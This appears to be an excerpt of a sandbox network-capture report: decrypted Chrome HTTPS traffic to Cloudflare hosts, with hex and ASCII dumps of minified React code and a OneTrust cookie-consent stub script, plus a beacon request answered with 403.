2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 74 75 72 6e 20 69 73 4e 61 4e 28 6e 29 7c 7c 31 3e 6e 7d 72 65 74 75 72 6e 21 31 7d 28 6e 2c 74 2c 6c 2c 72 29 26 26 28 74 3d 6e 75 6c 6c 29 2c 72 7c 7c 6e 75 6c 6c 3d 3d 3d 6c 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 21 66 2e 63 61 6c 6c 28 6d 2c 65 29 7c 7c 21 66 2e 63 61 6c 6c 28 70 2c 65 29 26 26 28 64 2e 74 65 73 74 28 65 29 3f 6d 5b 65 5d 3d 21 30 3a 28 70 5b 65 5d 3d 21 30 2c 21 31 29 29 7d 28 6e 29 26 26 28 6e 75 6c 6c 3d 3d 3d 74 3f 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 6e 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6e 2c 22 22 2b 74 29 29 3a 6c 2e 6d 75 73 74 55 73 65 50 72 6f 70 65 72 74 79 3f 65 5b 6c 2e 70 72 6f 70 65 72 74 79 4e 61 6d 65 5d 3d 6e 75 6c 6c 3d 3d 3d 74 3f 33 21 3d 3d 6c 2e 74 79 70 65 Data Ascii: turn isNaN(n)\|\|1>n}return!1}(n,t,l,r)&&(t=null),r\|\|null===l?function(e){return!!f.call(m,e)\|\|!f.call(p,e)&&(d.test(e)?m[e]=!0:(p[e]=!0,!1))}(n)&&(null===t?e.removeAttribute(n):e.setAttribute(n,""+t)):l.mustUseProperty?e[l.propertyName]=null===t?3!==l.type
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 61 6e 67 69 6e 67 20 76 2d 69 64 65 6f 67 72 61 70 68 69 63 20 76 2d 6d 61 74 68 65 6d 61 74 69 63 61 6c 20 76 65 63 74 6f 72 2d 65 66 66 65 63 74 20 76 65 72 74 2d 61 64 76 2d 79 20 76 65 72 74 2d 6f 72 69 67 69 6e 2d 78 20 76 65 72 74 2d 6f 72 69 67 69 6e 2d 79 20 77 6f 72 64 2d 73 70 61 63 69 6e 67 20 77 72 69 74 69 6e 67 2d 6d 6f 64 65 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 20 78 2d 68 65 69 67 68 74 22 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 67 2c 79 29 3b 76 5b 6e 5d 3d 6e 65 77 20 68 28 6e 2c 31 2c 21 31 2c 65 2c 6e 75 6c 6c 2c 21 31 2c 21 31 29 7d 29 29 2c 22 78 6c 69 6e 6b 3a 61 63 74 75 61 74 65 20 78 6c 69 6e 6b 3a 61 72 63 72 6f 6c 65 20 78 Data Ascii: anging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach((function(e){var n=e.replace(g,y);v[n]=new h(n,1,!1,e,null,!1,!1)})),"xlink:actuate xlink:arcrole x
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 66 66 73 63 72 65 65 6e 22 29 3b 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 6c 65 67 61 63 79 5f 68 69 64 64 65 6e 22 29 2c 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 63 61 63 68 65 22 29 2c 53 79 6d 62 6f 6c 2e 66 6f 72 28 22 72 65 61 63 74 2e 74 72 61 63 69 6e 67 5f 6d 61 72 6b 65 72 22 29 3b 76 61 72 20 4d 3d 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3b 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 65 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 65 3f 6e 75 6c 6c 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 65 3d 4d 26 26 65 5b 4d 5d 7c 7c 65 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 29 3f 65 3a 6e 75 6c 6c 7d 76 61 72 20 44 2c 49 3d 4f 62 6a 65 63 74 2e 61 73 73 Data Ascii: ffscreen");Symbol.for("react.legacy_hidden"),Symbol.for("react.cache"),Symbol.for("react.tracing_marker");var M=Symbol.iterator;function F(e){return null===e\|\|"object"!=typeof e?null:"function"==typeof(e=M&&e[M]\|\|e["@@iterator"])?e:null}var D,I=Object.ass
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 20 55 28 22 4c 61 7a 79 22 29 3b 63 61 73 65 20 31 33 3a 72 65 74 75 72 6e 20 55 28 22 53 75 73 70 65 6e 73 65 22 29 3b 63 61 73 65 20 31 39 3a 72 65 74 75 72 6e 20 55 28 22 53 75 73 70 65 6e 73 65 4c 69 73 74 22 29 3b 63 61 73 65 20 30 3a 63 61 73 65 20 32 3a 63 61 73 65 20 31 35 3a 72 65 74 75 72 6e 20 65 3d 41 28 65 2e 74 79 70 65 2c 21 31 29 3b 63 61 73 65 20 31 31 3a 72 65 74 75 72 6e 20 65 3d 41 28 65 2e 74 79 70 65 2e 72 65 6e 64 65 72 2c 21 31 29 3b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 65 3d 41 28 65 2e 74 79 70 65 2c 21 30 29 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 22 22 7d 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 69 66 28 6e 75 6c 6c 3d 3d 65 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 Data Ascii: U("Lazy");case 13:return U("Suspense");case 19:return U("SuspenseList");case 0:case 2:case 15:return e=A(e.type,!1);case 11:return e=A(e.type.render,!1);case 1:return e=A(e.type,!0);default:return""}}function j(e){if(null==e)return null;if("function"==ty
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 74 4d 6f 64 65 22 3a 22 4d 6f 64 65 22 3b 63 61 73 65 20 32 32 3a 72 65 74 75 72 6e 22 4f 66 66 73 63 72 65 65 6e 22 3b 63 61 73 65 20 31 32 3a 72 65 74 75 72 6e 22 50 72 6f 66 69 6c 65 72 22 3b 63 61 73 65 20 32 31 3a 72 65 74 75 72 6e 22 53 63 6f 70 65 22 3b 63 61 73 65 20 31 33 3a 72 65 74 75 72 6e 22 53 75 73 70 65 6e 73 65 22 3b 63 61 73 65 20 31 39 3a 72 65 74 75 72 6e 22 53 75 73 70 65 6e 73 65 4c 69 73 74 22 3b 63 61 73 65 20 32 35 3a 72 65 74 75 72 6e 22 54 72 61 63 69 6e 67 4d 61 72 6b 65 72 22 3b 63 61 73 65 20 31 3a 63 61 73 65 20 30 3a 63 61 73 65 20 31 37 3a 63 61 73 65 20 32 3a 63 61 73 65 20 31 34 3a 63 61 73 65 20 31 35 3a 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 29 72 65 74 75 72 6e 20 6e 2e 64 69 73 70 6c 61 Data Ascii: tMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if("function"==typeof n)return n.displa
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 6f 69 64 20 30 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 74 72 79 7b 72 65 74 75 72 6e 20 65 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 7c 7c 65 2e 62 6f 64 79 7d 63 61 74 63 68 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 62 6f 64 79 7d 7d 66 75 6e 63 74 69 6f 6e 20 59 28 65 2c 6e 29 7b 76 61 72 20 74 3d 6e 2e 63 68 65 63 6b 65 64 3b 72 65 74 75 72 6e 20 49 28 7b 7d 2c 6e 2c 7b 64 65 66 61 75 6c 74 43 68 65 63 6b 65 64 3a 76 6f 69 64 20 30 2c 64 65 66 61 75 6c 74 56 61 6c 75 65 3a 76 6f 69 64 20 30 2c 76 61 6c 75 65 3a 76 6f 69 64 20 30 2c 63 68 65 63 6b 65 64 3a 6e 75 6c 6c 21 3d 74 3f 74 3a 65 2e 5f 77 72 61 70 70 65 72 53 74 61 74 65 2e 69 6e 69 74 69 61 6c 43 68 65 63 6b 65 64 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 65 2c 6e 29 7b 76 61 72 20 74 3d 6e Data Ascii: oid 0)))return null;try{return e.activeElement\|\|e.body}catch(n){return e.body}}function Y(e,n){var t=n.checked;return I({},n,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:null!=t?t:e._wrapperState.initialChecked})}function X(e,n){var t=n
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 75 6c 6c 3d 3d 74 3f 65 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 22 22 2b 65 2e 5f 77 72 61 70 70 65 72 53 74 61 74 65 2e 69 6e 69 74 69 61 6c 56 61 6c 75 65 3a 65 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 21 3d 3d 22 22 2b 74 26 26 28 65 2e 64 65 66 61 75 6c 74 56 61 6c 75 65 3d 22 22 2b 74 29 29 7d 76 61 72 20 6e 65 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 3b 66 75 6e 63 74 69 6f 6e 20 74 65 28 65 2c 6e 2c 74 2c 72 29 7b 69 66 28 65 3d 65 2e 6f 70 74 69 6f 6e 73 2c 6e 29 7b 6e 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 6c 3d 30 3b 6c 3c 74 2e 6c 65 6e 67 74 68 3b 6c 2b 2b 29 6e 5b 22 24 22 2b 74 5b 6c 5d 5d 3d 21 30 3b 66 6f 72 28 74 3d 30 3b 74 3c 65 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 6c 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 24 22 2b 65 5b Data Ascii: ull==t?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+t&&(e.defaultValue=""+t))}var ne=Array.isArray;function te(e,n,t,r){if(e=e.options,n){n={};for(var l=0;l<t.length;l++)n["$"+t[l]]=!0;for(t=0;t<e.length;t++)l=n.hasOwnProperty("$"+e[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	50725	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:04 UTC	584	OUT	GET /public/vendor/onetrust/scripttemplates/otSDKStub.js HTTP/1.1 Host: ot.www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:05 UTC	833	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:05 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: W/"c26259f649def56fbb3b494c9ae5b5a1" referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff X-Robots-Tag: noindex Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x9z29nm%2FEisKxY1QKLsZuEoUPWYkF1%2B1vKdaysLC5aFmam8np5ZC5xqexgwYNbi63qxo4KkNcg37ZbNXiznekImRvFMKeg4tnlaf17dbI%2BSXCeNuLd8X6REZ5LohL5hguEHSUZAqFwk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding CF-Cache-Status: MISS Server: cloudflare CF-RAY: 8d48fbe35dfde542-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:05 UTC	536	IN	Data Raw: 35 32 65 65 0d 0a 76 61 72 20 4f 6e 65 54 72 75 73 74 53 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 2c 6f 2c 70 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4f 70 74 61 6e 6f 6e 43 6f 6e 73 65 6e 74 22 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 74 6d 6c 47 72 6f 75 70 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 6f 73 74 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 67 65 6e 56 65 6e 64 6f 72 73 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 76 65 6e 64 6f 72 73 53 65 72 76 69 63 65 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 49 41 42 43 6f 6f 6b 69 65 56 61 6c 75 65 3d 22 22 2c 74 68 69 73 2e 6f 6e 65 54 72 75 73 74 49 41 42 Data Ascii: 52eevar OneTrustStub=function(t){"use strict";var a,o,p=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIAB
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 22 2c 22 46 49 22 2c 22 53 45 22 2c 22 47 42 22 2c 22 48 52 22 2c 22 4c 49 22 2c 22 4e 4f 22 2c 22 49 53 22 5d 2c 74 68 69 73 2e 73 74 75 62 46 69 6c 65 4e 61 6d 65 3d 22 6f 74 53 44 4b 53 74 75 62 22 2c 74 68 69 73 2e 44 41 54 41 46 49 4c 45 41 54 54 52 49 42 55 54 45 3d 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 2c 74 68 69 73 2e 62 61 6e 6e 65 72 53 63 72 69 70 74 4e 61 6d 65 3d 22 6f 74 42 61 6e 6e 65 72 53 64 6b 2e 6a 73 22 2c 74 68 69 73 2e 6d 6f 62 69 6c 65 4f 6e 6c 69 6e 65 55 52 4c 3d 5b 5d 2c 74 68 69 73 2e 69 73 4d 69 67 72 61 74 65 64 55 52 4c 3d 21 31 2c 74 68 69 73 2e 6d 69 67 72 61 74 65 64 43 43 54 49 44 3d 22 5b 5b 4f 6c 64 43 43 54 49 44 5d 5d 22 2c 74 68 69 73 2e 6d 69 67 72 61 74 65 64 44 6f 6d 61 69 6e 49 64 3d 22 5b Data Ascii: ","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.migratedCCTID="[[OldCCTID]]",this.migratedDomainId="[
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 31 5d 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 65 5b 74 68 69 73 2e 63 61 6d 65 6c 69 7a 65 28 61 5b 30 5d 29 5d 3d 61 5b 31 5d 2e 74 72 69 6d 28 29 7d 72 65 74 75 72 6e 20 65 7d 2c 65 29 3b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 69 6d 70 6c 65 6d 65 6e 74 54 68 65 50 6f 6c 79 66 69 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 2c 6f 3d 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3b 72 65 74 75 72 6e 20 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 22 73 74 79 6c 65 22 21 3d 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 26 26 6f 2e 61 70 70 6c 79 28 Data Ascii: 1])return null;e[this.camelize(a[0])]=a[1].trim()}return e},e);function e(){var t=this;this.implementThePolyfill=function(){var a=t,o=Element.prototype.setAttribute;return Element.prototype.setAttribute=function(t,e){if("style"!==t.toLowerCase()&&o.apply(
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 52 5f 4e 41 4d 45 29 29 7d 2c 74 68 69 73 2e 72 65 6d 6f 76 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 64 65 6c 65 74 65 20 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 69 66 72 61 6d 65 5b 6e 61 6d 65 3d 22 2b 73 2e 4c 4f 43 41 54 4f 52 5f 4e 41 4d 45 2b 22 5d 22 29 5b 30 5d 3b 74 26 26 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 29 7d 2c 74 68 69 73 2e 65 78 65 63 75 74 65 47 70 70 41 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 74 5b 65 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 65 5d 3b 76 61 72 20 Data Ascii: R_NAME))},this.removeGppApi=function(){delete s.win.__gpp;var t=document.querySelectorAll("iframe[name="+s.LOCATOR_NAME+"]")[0];t&&t.parentElement.removeChild(t)},this.executeGppApi=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 2c 65 2e 6e 61 6d 65 3d 74 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 2c 22 47 50 50 20 4c 6f 63 61 74 6f 72 22 29 2c 69 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 2e 61 64 64 46 72 61 6d 65 28 74 29 7d 2c 35 29 29 2c 21 6e 7d 2c 74 68 69 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 69 2c 6e 3d 73 2e 77 69 6e 2e 5f 5f 67 70 70 3b 72 65 74 75 72 6e 20 6e 2e 65 76 65 6e 74 73 3d 6e 2e 65 76 65 6e 74 73 7c 7c 5b 5d 2c 6e 75 6c 6c 21 3d 28 69 3d 6e 29 26 26 69 2e 6c 61 73 74 49 64 7c 7c 28 6e 2e 6c 61 73 74 49 64 3d 30 29 2c 6e 2e 6c Data Ascii: ="display:none",e.name=t,e.setAttribute("title","GPP Locator"),i.body.appendChild(e)):setTimeout(function(){s.addFrame(t)},5)),!n},this.addEventListener=function(t,e){var i,n=s.win.__gpp;return n.events=n.events\|\|[],null!=(i=n)&&i.lastId\|\|(n.lastId=0),n.l
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 6f 74 6f 74 79 70 65 2e 63 61 70 74 75 72 65 4e 6f 6e 63 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6e 6f 6e 63 65 3d 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 6e 6f 6e 63 65 7c 7c 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 6f 6e 63 65 22 29 7c 7c 6e 75 6c 6c 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 66 65 74 63 68 42 61 6e 6e 65 72 53 44 4b 44 65 70 65 6e 64 65 6e 63 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 73 65 74 44 6f 6d 61 69 6e 44 61 74 61 46 69 6c 65 55 52 4c 28 29 2c 74 68 69 73 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 70 2e 73 74 75 62 53 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 72 6f 73 73 6f 72 69 67 Data Ascii: ototype.captureNonce=function(){this.nonce=p.stubScriptElement.nonce\|\|p.stubScriptElement.getAttribute("nonce")\|\|null},h.prototype.fetchBannerSDKDependency=function(){this.setDomainDataFileURL(),this.crossOrigin=p.stubScriptElement.getAttribute("crossorig
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 75 73 74 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 52 65 73 70 6f 6e 73 65 2c 74 68 69 73 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 69 2e 63 6f 75 6e 74 72 79 43 6f 64 65 2c 69 2e 73 74 61 74 65 43 6f 64 65 29 2c 74 68 69 73 2e 61 64 64 42 61 6e 6e 65 72 53 44 4b 53 63 72 69 70 74 28 74 29 29 3a 28 69 3d 74 68 69 73 2e 72 65 61 64 43 6f 6f 6b 69 65 50 61 72 61 6d 28 70 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 2c 70 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 43 6f 6f 6b 69 65 73 50 61 72 61 6d 29 29 7c 7c 74 2e 53 6b 69 70 47 65 6f 6c 6f 63 61 74 69 6f 6e 3f 28 65 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 3b 22 29 5b 31 5d 2c 74 68 69 73 2e 73 65 74 47 65 6f 4c 6f 63 61 74 69 6f 6e 28 65 2c 69 29 2c 74 68 69 Data Ascii: ust.geolocationResponse,this.setGeoLocation(i.countryCode,i.stateCode),this.addBannerSDKScript(t)):(i=this.readCookieParam(p.optanonCookieName,p.geolocationCookiesParam))\|\|t.SkipGeolocation?(e=i.split(";")[0],i=i.split(";")[1],this.setGeoLocation(e,i),thi
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 63 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 70 2e 75 73 65 72 4c 6f 63 61 74 69 6f 6e 3d 7b 63 6f 75 6e 74 72 79 3a 74 2c 73 74 61 74 65 3a 65 3d 76 6f 69 64 20 30 3d 3d 3d 65 3f 22 22 3a 65 7d 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 74 46 65 74 63 68 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 65 2c 6e 2c 61 29 7b 76 6f 69 64 20 30 3d 3d 3d 65 26 26 28 65 3d 21 31 29 2c 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 6e 75 6c 6c 29 3b 76 61 72 20 6f 3d 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 26 26 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 6f 74 50 72 65 76 69 65 77 44 61 74 61 22 29 3b 69 66 28 6e 65 77 20 52 65 67 45 78 70 28 22 5e 66 69 6c 65 3a 2f 2f 22 2c 22 Data Ascii: cation=function(t,e){p.userLocation={country:t,state:e=void 0===e?"":e}},h.prototype.otFetch=function(t,i,e,n,a){void 0===e&&(e=!1),void 0===n&&(n=null);var o=window.sessionStorage&&window.sessionStorage.getItem("otPreviewData");if(new RegExp("^file://","
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 69 2c 6e 2c 61 3d 70 2e 75 73 65 72 4c 6f 63 61 74 69 6f 6e 2c 6f 3d 74 2e 52 75 6c 65 53 65 74 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 74 2e 44 65 66 61 75 6c 74 7d 29 3b 69 66 28 21 61 2e 63 6f 75 6e 74 72 79 26 26 21 61 2e 73 74 61 74 65 29 72 65 74 75 72 6e 20 6f 26 26 30 3c 6f 2e 6c 65 6e 67 74 68 3f 6f 5b 30 5d 3a 6e 75 6c 6c 3b 66 6f 72 28 76 61 72 20 73 3d 61 2e 73 74 61 74 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 72 3d 61 2e 63 6f 75 6e 74 72 79 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 75 3d 30 3b 75 3c 74 2e 52 75 6c 65 53 65 74 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 69 66 28 21 30 3d 3d 3d 74 2e 52 75 6c 65 53 65 74 5b 75 5d 2e 47 6c 6f 62 61 6c 29 6e 3d 74 2e 52 75 6c 65 53 65 74 5b Data Ascii: i,n,a=p.userLocation,o=t.RuleSet.filter(function(t){return!0===t.Default});if(!a.country&&!a.state)return o&&0<o.length?o[0]:null;for(var s=a.state.toLowerCase(),r=a.country.toLowerCase(),u=0;u<t.RuleSet.length;u++)if(!0===t.RuleSet[u].Global)n=t.RuleSet[
2024-10-18 13:48:05 UTC	1369	IN	Data Raw: 6f 6f 6b 69 65 56 61 6c 75 65 3d 74 68 69 73 2e 67 65 74 43 6f 6f 6b 69 65 28 70 2e 6f 6e 65 54 72 75 73 74 49 41 42 43 6f 6f 6b 69 65 4e 61 6d 65 29 29 3a 70 2e 69 73 53 74 75 62 52 65 61 64 79 3d 21 31 7d 2c 68 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 69 64 61 74 65 49 41 42 47 44 50 52 41 70 70 6c 69 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 72 65 61 64 43 6f 6f 6b 69 65 50 61 72 61 6d 28 70 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 2c 70 2e 67 65 6f 6c 6f 63 61 74 69 6f 6e 43 6f 6f 6b 69 65 73 50 61 72 61 6d 29 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 3b 74 3f 74 68 69 73 2e 69 73 42 6f 6f 6c 65 61 6e 28 74 29 3f 70 2e 6f 6e 65 54 72 75 73 74 49 41 42 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c Data Ascii: ookieValue=this.getCookie(p.oneTrustIABCookieName)):p.isStubReady=!1},h.prototype.validateIABGDPRApplied=function(){var t=this.readCookieParam(p.optanonCookieName,p.geolocationCookiesParam).split(";")[0];t?this.isBoolean(t)?p.oneTrustIABgdprAppliesGloball

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	50711	104.18.31.78	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:06 UTC	542	OUT	GET /beacon.js HTTP/1.1 Host: performance.radar.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:06 UTC	1279	IN	HTTP/1.1 403 Forbidden Date: Fri, 18 Oct 2024 13:48:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 9665 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Critical-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin 